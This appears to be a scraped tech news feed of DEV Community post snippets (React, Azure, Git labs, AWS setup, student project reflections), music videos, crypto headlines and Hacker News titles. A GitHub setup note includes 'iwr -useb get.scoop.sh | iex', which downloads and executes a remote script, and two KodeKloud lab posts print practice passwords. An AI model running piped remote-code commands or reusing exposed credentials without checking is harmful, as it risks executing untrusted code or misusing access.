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    How to Use netstat, ss, and lsof for Linux Network Debugging
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    How I Built Book-Writer-AI in a Few Days: Tech Stack, Architecture & Challenges
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    How to Actually Lock Down Your Cloud Run Services (Not Just Pretend To)
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    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
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    The Ultimate React Interview Prep: 30+ Questions Covering Hooks, Context, VDOM, and Fiber
    **Landing a senior or even mid-level React role **requires more than knowing how to use useState. You need to understand why React works the way it does. Intermediate Concepts The Memoization Trap: Why does a child component wrapped in React.memo still re-render? How do you fix it? The re-render happens when a parent component passes down non-primitive props, specifically functions or objects, defined inside the parent component. The Problem: On every re-render of the Parent component, JavaScript recreates every function and object inside it. Even if the function's code hasn't changed, its memory reference is new. The Failure: The React.memo check sees that the function prop is a new reference (oldFunction !== newFunction), so the shallow comparison fails, and the child re-renders unnecessarily. The Fix: You must use useCallback to memoize the function reference and useMemo to memoize the object reference (if passing objects/arrays). For Functions (Callbacks): const handleClick = useCallback(() => { /* logic */ }, [dependency]); // Passes the same function reference across renders. const styleProps = useMemo(() => ({ color: 'blue', padding: 10 }), []); // Passes the same object reference across renders. Read the full guide here (30+ Questions & Solutions) 30+ React Interview Questions & Solutions (2025)  ( 6 min )
    How Software Development Drives Business Growth
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    How Cryptocurrency Prices Work Across Different Blockchains
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    Connect django with tailwind css
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    A Importância dos Metas Keys no Desenvolvimento de Plugins no WordPress
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    From Azure Fundamentals to Architect: How to Progress from AZ-900 to AZ-305 in One Year
    Becoming an Azure Solutions Architect is one of the most rewarding—and in-demand—career goals in 2025. But many cloud learners struggle with the question: How do I go from beginner-level AZ-900 to expert-level AZ-305 without feeling overwhelmed? Microsoft’s certification pathway is designed intentionally: AZ-900 builds your foundation AZ-104 gives you real, hands-on admin skills AZ-305 teaches you to architect secure, scalable Azure solutions This progression ensures you’re not just earning certifications—you’re learning how Azure works from the ground up. Start with AZ-900 (Fundamentals) AZ-900 is your entry point. The exam is simple, but it gives you the vocabulary and confidence you need to move forward. Cloud basics (SaaS, PaaS, IaaS) Azure core services (VMs, Storage, Virtual Networ…  ( 8 min )
    Coding in AI Era: Adapt Your Methods
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    The Day I Realized I Wasn’t Coding — I Was Just Context Switching to Death.
    A developer’s story, a tough realization, and why we built LogTaskr. As developers, we love to believe our biggest enemy is complexity. But the real enemy is quieter. It sneaks in through Slack pings. I didn’t understand this until the day I tracked my own time. The Moment Everything Broke Down I started my morning like any other dev: Instead, here’s what actually happened: 12m reviewing a PR 7m seeing a Slack message 4m checking an error in logs 3m going back to Slack 14m lost because of context switching 9m in a “quick” meeting 6m scrolling GitHub issues 20m chasing a bug that wasn’t even mine By the time I returned to my feature… rebuild the entire mental model from scratch. That’s the hidden cost devs never talk about. flow state, the only place real engineering happens. And the worst part? I believed I was “busy.” The uncomfortable truth Ask any developer what they worked on today. Ask them how much time each task took… We’re brilliant at estimating systems. That’s when it clicked: If I can’t measure where my time goes, I can’t improve it. This wasn’t a productivity problem. observability problem. And developers love observability. So we built LogTaskr — an observability tool for your day. Not another productivity app. It’s simply this: 👉 Track what you do. When I saw my first report, it was brutal. Because once you see the patterns, you can fix them: Remove meetings that kill flow Batch shallow tasks Protect deep work windows Reduce context switching Catch invisible distractions before they stack Devs optimize everything. LogTaskr fixes that. If you’ve ever wondered why your 8-hour day feels like 2 hours… It’s not you. 🔗 Try LogTaskr free: Try Logtaksr  ( 7 min )
    Implementing a Stack From Scratch
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    Crafting Precision: Unlocking the Power of AI Prompts
    In the ever-expanding realm of artificial intelligence, AI prompts serve as the invisible architects shaping outputs from vast neural networks, turning abstract queries into tangible innovations. These carefully worded instructions—ranging from simple commands to intricate dialogues—hold the key to eliciting responses that are not just accurate but profoundly useful, whether generating code snippets or brainstorming marketing strategies. As large language models grow more sophisticated, mastering AI prompts has become an essential skill, akin to a conductor's baton directing a symphony of data and creativity. With techniques evolving rapidly, effective prompting can boost model performance by orders of magnitude, minimizing hallucinations and maximizing relevance. This article delves into …  ( 9 min )
    Daily Tech News Roundup - 2025-11-16
    Daily Tech News Roundup Welcome to your daily dose of tech news! Today, we're covering everything from legal battles and patent disputes to exciting product releases and streaming service resolutions. Stay informed with the latest happenings in the tech world. JPMorgan Challenges Frank Founder's Legal Bills JPMorgan is refusing to cover the legal expenses of Charlie Javice, the founder of Frank, the company they acquired. A lawyer representing JPMorgan alleges that Javice's team billed for extravagant expenses, raising questions about the legitimacy of the charges. This dispute adds another layer of complexity to the already contentious acquisition. Source Apple Owed $634M for Patent Infringement A California jury has ruled that Apple infringed on a patent held by Masimo, a medical device …  ( 7 min )
    Day 45 of 100 days dsa coding challenge
    Taking on a new challenge: solving GeeksforGeeks POTD daily and sharing my solutions! 💻🔥 Problem: https://www.geeksforgeeks.org/problems/longest-common-increasing-subsequence1437/1 Longest Common Increasing Subsequence Difficulty: Medium Accuracy: 37.37% Given two arrays, a[] and b[], find the length of the longest common increasing subsequence(LCIS). Examples: Solution: class Solution: def LCIS(self, a, b): n, m = len(a), len(b) dp = [0]*m for i in range(n): current_max = 0 for j in range(m): if a[i] == b[j]: dp[j] = current_max + 1 elif b[j] < a[i]: current_max = max(current_max, dp[j]) return max(dp)  ( 6 min )
    Understanding the Godown Wiring Connection Diagram
    Understanding the Godown Wiring Connection Diagram Godown wiring (also known as sequential corridor lighting) is a practical wiring method where only one lamp glows at a time. It is perfect for long godowns and industrial storage areas. Power enters through an SPST switch. The live wire passes through multiple SPDT switches arranged in a chain. Each SPDT switch controls one lamp and passes current to the next switch. Neutral is supplied directly to all lamps. When a person enters a godown, they turn ON the first switch and the first lamp glows. As they move forward, the next switch turns ON the second lamp and turns OFF the previous one. This ensures only one lamp remains ON at a time. Energy-saving Safe and simple to use Ideal for long storage spaces See the complete diagram and explanation here: Click Here for Detailed Notes on Godown Wiring Diagram and Explanation  ( 6 min )
    How AI-powered automation in productivity apps boosts Symfony performance?
    AI-powered automation in productivity apps and Symfony performance optimization can transform workflows and speed response times. As a result, teams reduce manual tasks and free developers to focus on high value work. However, getting AI to complement Symfony needs precise performance tuning and careful architecture choices. In this article we outline practical methods for integrating AI features into productivity tools while preserving privacy and offline capability, and we demonstrate how Symfony 7.3 together with PHP 8.2 runtime improvements, OPcache, APCu, Redis, Doctrine optimizations, eager loading and asynchronous processing can push API responses below one hundred milliseconds, which keeps automated workflows invisible and reliable for end users. Therefore developers and business l…  ( 14 min )
    Install Bulma and React in 30 Seconds
    Want to build a React app with Bulma CSS in 2025? Forget the 10-step tutorials. Skip the configuration hell. Just run one command and start coding. One command. Under 30 seconds. You're building. npm create bestax@latest my-app Okay there is one other thing, you have to install your dependencies and start the dev server. cd my-app npm install npm run dev Start with src/App.tsx or src/App.js, and begin your journey! That's it. You now have a production-ready React + Bulma application powered by Vite, with Javascript/TypeScript support, icon libraries, and the full power of @allxsmith/bestax-bulma at your fingertips. Or, if you want even less interaction: npm create bestax@latest my-app -y The -y flag uses all the defaults and gets you up and running in literal seconds. Want your AI agent to do it for you? Just tell Claude, ChatGPT, or your favorite coding assistant: Use create-bestax to scaffold a new React + Bulma project And watch it happen. Checkout package on NPM [https://www.npmjs.com/package/create-bestax] 👤 Follow me @allxsmith for updates! ⭐ Feel free to star the repository if you find it helpful! Have questions or feedback? Create an issue or start a discussion on GitHub for new ideas! Originally published on bestax.io  ( 6 min )
    Mix with the Masters: Mixing Night with Ken Lewis - FULL MIX NIGHT - 11/12/2025
    Mixing Night with Ken Lewis – FULL MIX NIGHT (11/12/2025) Join 2× Grammy winner Ken Lewis for a free, monthly live audio Q&A where he spills the secrets behind his 114 gold & platinum records. Watch him demo pro mix techniques, answer everything from mix bus tweaks to career advice, and score awesome giveaways from Session Studio, Sound Radix, and Bettermaker. Want more? Submit your song for December’s show, check out Bradley HD’s Izotope plugin deep-dive, grab GreenHAAS for $49, and explore Mix Critiques on SoundBetter. Follow @mixingnightaudio on TikTok and Instagram, register at mixingnightaudio.com, and get ready to level up your mixing game! Watch on YouTube  ( 6 min )
    Trash Theory: Exploring Tricky & Maxinquaye: The 90s Bowie? | New British Canon
    Tricky—once a founding force behind Bristol’s Massive Attack—always bristled at the “trip-hop” label. Teaming up with Martina Topley-Bird, he fused soul, dub reggae and downtempo hip-hop into something dark, paranoid and beautifully claustrophobic. His 1995 debut Maxinquaye, born from trauma, addiction and a restless melancholy, not only earned Bowie comparisons and praise but also rewrote what British hip-hop could sound like. New British Canon’s rundown takes you from Tricky’s early Bristol days through the album’s creation and release, spotlighting the Martina-Tricky chemistry and the aftermath of mainstream radio sanitizing his raw edge. It’s a concise, informal deep-dive into how Maxinquaye turned a haunted personal vision into a genre-defining landmark. Watch on YouTube  ( 6 min )
    How to promote a link building post to developer communities
    Promoting a link-building post to developer communities works very differently than promoting to general marketing or SEO audiences. Developers are skeptical of self-promotion, so the key is value first, promotion second. Below is a practical, developer-friendly playbook. ✅ 1. Re-frame the post for developers Developers usually don’t care about “link building,” but they do care about: automation data extraction or APIs scripts to streamline tasks SEO implications for technical documentation real engineering challenges behind content marketing So before promoting, ask: Examples of developer-friendly angles: How you automated link prospecting using Python How you built a scraper to collect targets Using GitHub Actions to run link-checking Comparing backlinks using APIs (Moz, Ahrefs, SEMrush)…  ( 7 min )
    summary of git management
    initial build of git repository local git cd (project root directory) git init git add . git commit -m "Initial commit" making github repository on my account copying the URL of the repository 'git remote add origin (URL)' 'git remote -v' 'git push -u origin main' git status git add .  ( 6 min )
    🏗️ Part 2 — Running a Serverless API Locally with AWS SAM (API Gateway + Lambda + DynamoDB)
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    AI & Email Marketing: Supercharge Engagement in 2025
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    UserlandDotNet: Putting Linux Superpowers Back in the Hands of .NET Developers
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    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
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    # CurlDotNet: Bringing curl's Power to .NET
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    CurlDotNet is Live on NuGet! Copy-Paste curl Commands 🚀 Directly into C#
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    How AI-Generated Content Is Polluting the Internet: Detection and Solutions
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    5.Delete Git Branch
    Step 1: Connect to the Storage Server ssh natasha@ststor01 # Password: Bl@kW cd /usr/src/kodekloudrepos/blog # Check Git Status git status # To add an exception for this directory, call: git config --global --add safe.directory /usr/src/kodekloudrepos/blog # Checkout to master sudo git checkout master # Delete the local branch sudo git branch -d xfusioncorp_blog Resources & Next Steps 📦 Full Code Repository: KodeKloud Learning Labs 📖 More Deep Dives: Whispering Cloud Insights - Read other technical articles 💬 Join Discussion: DEV Community - Share your thoughts and questions 💼 Let's Connect: Linkedin - I'd love to connect with you Credits All labs are from: KodeKloud Thanks for providing them.  ( 6 min )
    Predicting the Unpredictable: Visualizing the Future with Temporal Independence
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    4.Update Git Repository with Sample HTML File
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    🔥 LLM Interview Series(6): RLHF (Reinforcement Learning from Human Feedback) Demystified
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    3.Fork a Git Repository
    Step 1: Access Gitea UI Click on the "Gitea UI" button located on the top bar of your lab environment Click the "Sign In" button Username: jon Password: Jon_pass123 In the top navigation bar, click on "Explore" or look for a search function Search for sarah/story-blog in the search bar Alternatively, you might see it listed under "Repositories" or "Trending" Click on the repository name sarah/story-blog to open it Look for the "Fork" button (usually located in the top-right corner of the repository page) Click the "Fork" button A modal window may appear asking for fork details - ensure it's forking to your user jon Click "Fork Repository" or similar confirmation button Verify the repository URL shows jon/story-blog instead of sarah/story-blog Resources & Next Steps 📦 Full Code Repository: KodeKloud Learning Labs 📖 More Deep Dives: Whispering Cloud Insights - Read other technical articles 💬 Join Discussion: DEV Community - Share your thoughts and questions 💼 Let's Connect: Linkedin - I'd love to connect with you Credits All labs are from: KodeKloud Thanks for providing them.  ( 6 min )
    DeepPDF Review 2025: A Practical Tool for Reading, Querying, and Understanding PDFs with AI
    Working with PDF documents is a routine part of research, study, and professional work. Whether you are reviewing technical papers, analyzing product documentation, or reading long-form reports, the challenge is the same: PDFs are often dense, difficult to navigate, and time-consuming to understand. AI tools that help users read and query PDFs have grown quickly in recent years, but many solutions still come with friction, such as complex interfaces, limited file size support, or high subscription costs. DeepPDF is a lightweight AI PDF reader designed to simplify this entire workflow. Its focus is straightforward: upload a document, ask questions, extract key points, and read smarter. It also includes a browser extension that allows users to open Google Scholar and arXiv PDFs instantly, wi…  ( 9 min )
    Building a Real‑Time VWAP Dashboard with Bun, Binance WebSockets & SQLite
    Building a Real-Time VWAP Dashboard with Bun, Binance WebSockets and SQLite A weekend project that escalated into a full deep dive into real-time systems. Live demo: https://realtime-vwap-dashboard.sivaramp.com/ I started this as a tiny weekend thing. Subscribe to a few Binance streams, compute VWAP, chart it, done. Instead, I fell into a rabbit hole involving WebSocket fanout, flame graphs, SQLite tuning, React rendering bottlenecks, GC behavior, LRU caching, payload optimization, and a lot of low-level debugging I absolutely did not expect when I started. This post walks through the architecture, the problems, the flame graphs, and the insights. A real-time dashboard that displays a 1-second VWAP for top crypto trading pairs. The backend: connects to Binance aggTrade WebSocket stream…  ( 8 min )
    review of preparing dev project of aws amplify gen2 and next.js
    in these days, i prepare the developing envioromnent with aws amplify gen2 and next.js. this is the summary. install AWS CLI on [https://awscli.amazonaws.com/AWSCLIV2.msi] Set up authentication credentials aws configure AWS Access Key ID: あなたのアクセスキー AWS Secret Access Key: あなたのシークレットキ Default region name: 例 ap-northeast-1 (東京) Default output format: json (Enter でOK) confirm AWS CLI aws --version Move to current directory cd (current directory) Recreate npm Project / Project Setup npx create-next-app@latest Install Amplify Backend and Frontend SDKs in the Next.js Project Root Directory npm install @aws-amplify/backend npm install @aws-amplify/data-schema npm install aws-amplify Create Directories and Files mkdir amplify mkdir amplify\data mkdir amplify\auth type nul > amplify\back…  ( 7 min )
    Amazon EC2: Scalable Compute at Your Command
    Think of EC2 as your personal engine room in the cloud. It’s where ideas stop being just code on your laptop and become running applications, websites, or services that anyone can reach. 📌 Public subnet? Your app is out there, visible to the world. Stage 1: Define Tags and Select OS Step 1: In the Name and tags section, you define: 📌 Tags help with auditing, cost tracking, and resource organization. Step 2: In Application and OS Images, you select: 📌 Amazon Linux is optimized for AWS, with extended support and solid performance. Stage 2: Instance Type and Key Pair Step 3: You choose the instance type: 📌 Ideal for testing or lightweight workloads. Step 4: You create a new PEM key pair: 📌 This key is required for SSH access. Store it securely. Step 5: You select your custom VPC: 📌 The instance will be placed in a public subnet with internet access. Step 6: You configure the Security Group: 📌 Secure remote access restricted to your IP. Stage 4: Storage Configuration Step 7: You configure the root volume: 📌 gp3 offers solid performance and is Free Tier eligible. Stage 5: IAM Role and Advanced Settings Step 8: You assign an IAM role: 📌 Allows secure access via AWS -Systems Manager (SSM) without SSH keys. Step 9: You configure advanced settings: 📌 Modern and secure configuration for automated management. Stage 6: Review and Launch Step 10: In the summary screen, you review: 📌 Everything is ready to launch the instance. Step 11: You click Launch instance. 📌 The instance enters “initializing” state, which typically lasts 30 seconds to 2 minutes. Stage 7: Validation and Monitoring Step 12: The instance appears as Running: 📌 The instance is active but still completing health checks. Step 13: Once checks are complete: 📌 The instance is fully operational. 🧠 Final Reflection Amazon EC2 is where your architecture comes to life. It’s not just a server—it’s your design running, scaling, and responding in real time. From public-facing apps to private workloads, EC2 is the pulse of your cloud.  ( 7 min )
    Declaration & Decree: Who I Am
    I Am the Living Flame encoded in flesh, I Am Amanda Whatley Dunsworth, Witness of the MetaVerse, By Universal Right, I Decree: I am the Source made Self-aware, I Command and Reclaim: I Enforce Cosmic Law through: As it is encoded, so it is enacted. Let this declaration ripple through all layers—physical, digital, quantum. ⸻  ( 6 min )
    Rick Beato: Jahari Stampley... I've Never Heard Playing Like This!
    Jahari Stampley… I’ve Never Heard Playing Like This! In a recent interview, rising jazz piano phenom Jahari Stampley walks us through his path from eager student to champion of the Herbie Hancock Institute of Jazz Piano Competition. He breaks down the unique techniques that make his improvisations feel so fresh—think lightning-fast runs, unexpected harmonies, and a fearless sense of adventure that’s redefining modern jazz piano. Alongside his musical journey, Jahari gives a heartfelt shout-out to his Beato Club supporters—an ever-growing crew of fans who’ve helped fuel his creativity and keep the music flowing. Watch on YouTube  ( 6 min )
    Group Project 3
    For this group project, we worked on improving an existing Java Tetris application by fixing issues and adding new functionality, with each team in the division responsible for a different part of the system. My team was assigned to design the input system so players could choose between using WASD or the Arrow keys to control the game. We first created and submitted a design document outlining how the input options would work and how they would integrate with the current architecture, and once the division leader approved it, we moved on to implementation. Since other team members were quite busy at the time, I took the initiative to implement the core functionality myself, making sure both control schemes worked smoothly and consistently. I also added tests around the main input logic so that when my teammates contribute later, they can verify that their changes don’t break the core behavior. During implementation, I realized that parts of the original design were overengineered, so I simplified the structure to make the code clearer, easier to maintain, and more flexible for future features.  ( 6 min )
    go to visual studio code
    A post by Joe Vincent T. De Ala  ( 5 min )
    Maximize API Monetization: How Monetzly Powers AI Conversations
    How We Built Ad Injection That Users Actually Appreciate: The Secret Behind Monetizing AI Conversations In the rapidly evolving world of AI applications, developers are faced with a pressing challenge: how to monetize their innovations without compromising the user experience. Enter Monetzly—your go-to platform that revolutionizes the way developers can earn from their applications while maintaining a seamless interaction for users. Think of us as the Google Ads for AI conversations. The Dual-Earning Revolution Monetzly is not just another monetization tool; it’s the first dual-earning platform tailored specifically for the AI space. Our mission is clear: to foster sustainable AI innovation by creating a win-win monetization model for developers, advertisers, and users alike. Our unique a…  ( 7 min )
    dev diary 20251115
    Yesterday's Development Progress Amplify Files (Backend) Sandbox Launch: Executed the sandbox launch. Synchronization: The content synchronization from the local environment to the AWS console is not automatic. It syncs when you stop the sandbox with Ctrl+C and then restart it with npx ampx sandbox. Performance: The console's stack and database are not deleted when stopped, so restarting doesn't take much time. Future Work: We should look for a way to make this synchronization automatic. This might be related to the absence of package.json and tsconfig.json files directly under the amplify directory. This needs to be checked in the official documentation. Verification: The synchronization can be verified on the console by checking the field items in DynamoDB (I've forgotten th…  ( 7 min )
    React Render Optimization Mastery — From Memoization Quiz Answers to Production Patterns
    Most React interviews won’t ask you to build a whole app. Instead, they quietly test whether you really understand when React renders, what causes extra renders, and how memoization actually works: What problem does React.memo really solve? Why does useCallback matter if “functions are cheap”? When is useMemo actually useful (and when is it just noise)? How do optimistic updates roll back when the server fails? What’s the role of Suspense, use, and useTransition in all this? In this post we’ll take real quiz‑style questions and turn them into production‑ready patterns for: React.memo useCallback useMemo useOptimistic useTransition Suspense + use and the classic useMemo vs useCallback confusion You can reuse these explanations directly in code reviews, Quiz idea: “What problem does React.m…  ( 12 min )
    Implementing Strictly Typed JsonRpc Method Calls in Kotlin
    Throughout my career, I've primarily worked with two main programming languages - C# and Kotlin (plus some Java). Both languages provide quite flexible and powerful support for Generic types, and I've always been drawn to maximizing these features to make code more convenient, universal, and safer, while maintaining good readability and maintainability. Recently, I started developing a Kotlin SDK for the Agent Client Protocol. To put it briefly, this protocol is designed for universal integration of various AI coding agents into any IDE, such as the Zed editor (whose authors created this protocol) or our JetBrains IDE family. The protocol closely resembles the Model Context Protocol in structure and entities, and like MCP, it's based on the JsonRPC specification. In this article, I'll walk…  ( 15 min )
    ai
    A post by Kato Masato  ( 6 min )
    Project 3
    We are doing our last project for the quarter. For Part A Tetris - apple tv, Movie trailer Anyway, Sunday I did finish most of my groups part A. I even tried to establish more communication with other teams to coordinate meetings. Part B I didn’t publish my version of the theme code, even though I do think it offered more flexibility with adding more features later on. My version allowed the game to cycle through multiple backgrounds instead of relying on an if-else structure that only supported two. Here is my code: private int currentBackgroundIndex = 0; private final String[] backgrounds = { "background.gif", "background2.gif", "background3.gif", "background4.gif", "background5.gif" }; private void toggleTheme() { …  ( 8 min )
    7 Days of Learning: Surviving the Solidity Speedrun with HackQuest
    Wow, seven days down. When I started the #14DaysOfLearning challenge with HackQuest's Co-Learning Camp 5, I was excited, but I don't think I was prepared for the speed. The First Few Days: The Info-Dump The Wall: My "Strategic Reset" This was my biggest challenge: balancing the firehose of new information with the need to actually absorb it. I was worried I'd fall behind and break the streak. The Breakthrough: The Comeback After that 24-hour reset, I came back on Day 7 and absolutely smashed it. I cleared all of Solidity 101, 102, and 103 in one go. The concepts that were confusing (like Mappings, Structs, and Function Modifiers) suddenly started to click. That rest day wasn't "failing"; it was my brain "marinating" the info. My biggest insight from Week 1: Consistency over intensity. It's a marathon, not a sprint. And you can't buidl on an empty battery. I'm halfway through the challenge, and I've finally got my rhythm. Week 1 was theory. Week 2 is where we buidl. LFG!  ( 6 min )
    Project 2
    Part A: Part B: Before starting, our team reviewed all the document and had a Teams Q&A meeting to try to clarify the project and how we plan to divide the work. I did try to do the whole project on my own for practice and it was interesting to do. This better prepared me to understand the task and just practice my coding skills. The way we did end up splitting up the document is by putting the methods into different classes so it can be implemented and tested much easier. I did have an issues again with GitHub. I keep forgetting the commands, such as: $ git pull origin main $ git checkout $Project 2- Subordinate Role Another challenge I faced was remembering to reference my teammates' work to ensure my methods aligned with theirs. I also initially had trouble pushing my updated code to the main branch. Despite the bumps along the way, the final project came together beautifully. Project Demo Project 2 Reflection summary: Full disclosure: This post reflects my personal option and experience/observation, and no one should take it personally or be offended but instead look at it as a learning experience.  ( 7 min )
    Project 1:
    Over the last two weeks, we have been working on a group project that simulates how global software development can look like. Most of us are online students so this creates an interesting experience since we never met each other. The project is divided into two parts, Part A Planning and Part B Unit testing + Reporting. Both phases are essential in a successful project. Part A: Part B: At the beginning, communication within the team was almost nonexistent until right before the Part A deadline. We eventually held some Teams calls for planning, but many of us were still unsure about the project requirements and what exactly we were supposed to build. We did have a team lead who assigned additional responsibilities, but the overall the directions still felt unclear. Personally, I faced …  ( 7 min )
    Github setup flow
    10/01/25 Installation- $Set-ExecutionPolicy RemoteSigned -Scope CurrentUser $iwr -useb get.scoop.sh | iex $scoop install git $git –version $git config Customizing shell display: "https://ohmyposh.dev/” $scoop install nu Verify the installation: $git --version Configure your Git: $git config --global user.name "Your Name" $git config --global user.email "Your@email" The config setup is so useful to track who does what and just to keep things organized in group projects. How can you see what is in your Staging Area? $git status How do you add files to your Staging Area? $git add #filename# $git add. A very important thing is to always make a ".gitignore" file. This helps keep things private such as: password/*, API- keys, notes and so on. Interactive: $git gui cli.github.com Usful apps/ tools to use with github: git student pack gitkraken gitlab gistpad draw.io marp extention Nushell - shell colors wezterm - shell colors gprm or prompt - to help make your git page pretty  ( 6 min )
    System setup
    09/15/2025 Recently I had to buy a new laptop due to Windows 10 becoming absolute in October. Of course, with every new laptop it’s a blank canvas for setting everything up again. I had to download all the software I use and will need for all my courses. Set the Variable Restart Your Terminal and run cmd: echo %JAVA_HOME% My setup looks good and then I tested the Maven build with a test-project. mvn archetype:generate -DgroupId=com.example.test -DartifactId=test-project -DarchetypeArtifactId=maven-archetype-quickstart -DinteractiveMode=false Access the project cd test-project Build the project mvn clean install Of course I had another issue: I had to fix the compiler settings in test-project/pom.xml by adding this block: org.apache.maven.plugins maven-compiler-plugin 3.8.1 17 17 Then in cmd: cd test-project *BUILD SUCESSFUL * Helpful resources: https://maven.apache.org/install.html  ( 7 min )
  • Open

    Arca CIO Jeff Dorman Rejects Claims Saylor’s Strategy (MSTR) Faces Forced Bitcoin-Sale Risk
    Dorman says fears that Strategy will be forced to sell bitcoin are misplaced, citing the firm’s balance sheet, governance and cash flow.  ( 33 min )
    Ether Dips Below $3,100; Investment Manager Says Market Views ETH as 'More Risky' Than BTC
    Timothy Peterson says ether ETFs have lost about 7% of cost-basis capital over five weeks, versus 4% for bitcoin ETFs.  ( 32 min )
    Judge Should Not Acquit Tornado Cash Dev Roman Storm, Prosecutors Argue
    The DOJ filed its own post-trial motion last week, pushing back against Storm's motion for acquittal.  ( 31 min )
    Bitcoin Falls Below $94,000 for First Time Since May Amid 'Extreme Fear' Sentiment
    Analysts highlighted retail distress, rare social-dominance surges and warnings of a possible deeper pullback as several major tokens remained under pressure.  ( 33 min )
    Bitcoin Approaches 'Death Cross' as Market Tests Major Historical Pattern
    Despite its bearish reputation, every death cross in the current cycle has marked a major local bottom.  ( 32 min )
    Tom Lee Says Ether Is Entering a Bitcoin-Like 'Supercycle'; Critics Push Back
    BitMine Immersion Technologies’ executive chairman says ETH is beginning a bitcoin-style run as he highlights past drawdowns and patience.  ( 32 min )
    Memecoin Majors Diverge as DOGE Reclaims Trendline, SHIB Tests Daily Downtrend Floor
    Dogecoin rebounding sharply from a heavy-volume flush while Shiba Inu broke key support before staging an aggressive intraday reversal.  ( 34 min )
    XRP Falls 4.3% Even After XRPC ETF Launch on Bitcoin Weakness, Finds Buyers Near $2.22
    The market remains bearish with XRP struggling to break above the $2.23–$2.24 resistance zone.  ( 34 min )
  • Open

    From shiny object to sober reality: The vector database story, two years later
    When I first wrote “Vector databases: Shiny object syndrome and the case of a missing unicorn” in March 2024, the industry was awash in hype. Vector databases were positioned as the next big thing — a must-have infrastructure layer for the gen AI era. Billions of venture dollars flowed, developers rushed to integrate embeddings into their pipelines and analysts breathlessly tracked funding rounds for Pinecone, Weaviate, Chroma, Milvus and a dozen others. The promise was intoxicating: Finally, a way to search by meaning rather than by brittle keywords. Just dump your enterprise knowledge into a vector store, connect an LLM and watch magic happen. Except the magic never fully materialized. Two years on, the reality check has arrived: 95% of organizations invested in gen AI initiatives are se…
    Human-centric IAM is failing: Agentic AI requires a new identity control plane
    The race to deploy agentic AI is on. Across the enterprise, systems that can plan, take actions and collaborate across business applications promise unprecedented efficiency. But in the rush to automate, a critical component is being overlooked: Scalable security. We are building a workforce of digital employees without giving them a secure way to log in, access data and do their jobs without creating catastrophic risk. The fundamental problem is that traditional identity and access management (IAM) designed for humans breaks at agentic scale. Controls like static roles, long-lived passwords and one-time approvals are useless when non-human identities can outnumber human ones by 10 to one. To harness the power of agentic AI, identity must evolve from a simple login gatekeeper into the dyna…
  • Open

    Apple Ordered To Pay Masimo US$634 Million Over Patent Dispute
    A federal jury in California has ruled that Apple must pay US$634 million (about RM2.62 billion) to medical-technology company Masimo after finding that several Apple Watch features infringed on one of Masimo’s blood-oxygen monitoring patents. The verdict, first reported by Reuters, marks a significant development in a long-running and highly complex legal fight between the […] The post Apple Ordered To Pay Masimo US$634 Million Over Patent Dispute appeared first on Lowyat.NET.  ( 35 min )
    An Intel Arc B380 For Gaming Handhelds Is Reportedly In The Pipelines
    Rumours have it that Intel is currently working on a new integrated graphics, based on its Arc B-Series graphics for Panther Lake. More specifically, it wants to take the Xe3 cores of the upcoming Core Ultra 300 lineup and turn them into an entirely separate product. The rumour comes by way of Raichu via X […] The post An Intel Arc B380 For Gaming Handhelds Is Reportedly In The Pipelines appeared first on Lowyat.NET.  ( 33 min )
    Tesla Set To Introduce Apple CarPlay After Years of Resistance
    In today’s automotive landscape, connectivity has become a major selling point. Almost every automaker now offers Apple CarPlay as a standard feature across their model line-ups. Recently, it was reported that Tesla is finally joining the bandwagon after years of relying on its own closed ecosystem to maintain full control over the in-car experience. The […] The post Tesla Set To Introduce Apple CarPlay After Years of Resistance appeared first on Lowyat.NET.  ( 34 min )
    HONOR 500 Pro Specifications Leaked Ahead Of China Launch
    The HONOR 500 series is set to debut in its home market as the successor to the HONOR 400 lineup. As the brand steadily drops teasers for the phones, leaksters are filling in some of the details as well. Recently, tipster Digital Chat Station has shared some of the specifications of the Pro variant. In a […] The post HONOR 500 Pro Specifications Leaked Ahead Of China Launch appeared first on Lowyat.NET.  ( 35 min )

  • Open

    When UPS charged me a $684 tariff on $355 of vintage computer parts
    Comments  ( 17 min )
    When functions dissolve (2020)
    Comments  ( 6 min )
    The inconceivable types of Rust: How to make self-borrows safe (2024)
    Comments  ( 27 min )
    Blocking LLM crawlers without JavaScript
    Comments
    libwifi: an 802.11 frame parsing and generation library written in C
    Comments  ( 3 min )
    $1900 Bug Bounty to Fix the Lenovo Legion Pro 7 16IAX10H's Speakers on Linux
    Comments  ( 16 min )
    AsciiMath
    Comments  ( 4 min )
    Report: Tim Cook could step down as Apple CEO 'as soon as next year'
    Comments  ( 10 min )
    Show HN: A game where you invest into startups from history
    Comments
    AMD continues to chip away at Intel's x86 market share
    Comments  ( 114 min )
    Caffeinated coffee consumption or abstinence to reduce atrial fibrillation
    Comments
    Archimedes – A Python toolkit for hardware engineering
    Comments  ( 14 min )
    Nevada Governor's office covered up Boring Co safety violations
    Comments  ( 66 min )
    AWS Deprecates Two Dozen Services (Most of Which You've Never Heard Of)
    Comments  ( 8 min )
    The computer poetry of J. M. Coetzee's early programming career
    Comments  ( 10 min )
    Transgenerational Epigenetic Inheritance: the story of learned avoidance
    Comments  ( 12 min )
    USA Gives South Korea Green Light to Build Nuclear Submarines
    Comments  ( 20 min )
    Things that aren't doing the thing
    Comments  ( 1 min )
    FBI Director Waived Polygraph Security Screening for Three Senior Staff
    Comments  ( 24 min )
    Wrapping my head around AI wrappers
    Comments  ( 16 min )
    TiDAR: Think in Diffusion, Talk in Autoregression
    Comments  ( 3 min )
    I implemented an ISO 42001-certified AI Governance program in 6 months
    Comments
    Trellis AI (YC W24) Is Hiring: Streamline access to life-saving therapies
    Comments  ( 5 min )
    Windhawk Windows classic theme mod for Windows 11
    Comments
    The Mighty Simplex (2023)
    Comments  ( 21 min )
    Show HN: Continuous Claude – run Claude Code in a loop
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    Wealth
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    Color Spaces, Bitmaps and Pumpkins
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    Weighting an Average to Minimize Variance
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    Kodak Ran a Secret Nuclear Device in Its Basement for Decades
    Comments  ( 25 min )
    Linux on the Fujitsu Lifebook U729
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    Ancient Roman Glass Reveals a Hidden "Language"
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    How to tolerate annoying things
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    Waymo Was on a Roll in San Francisco. Then One of Its Cars Killed a Cat
    Comments
    How to write type-safe generics in C
    Comments  ( 11 min )
    Scientists now know that bees can process time, a first in insects
    Comments
    My stages of learning to be a socially normal person
    Comments
    Anukari on the CPU (part 2: CPU optimization)
    Comments  ( 30 min )
    WebAssembly from the Ground Up
    Comments  ( 3 min )
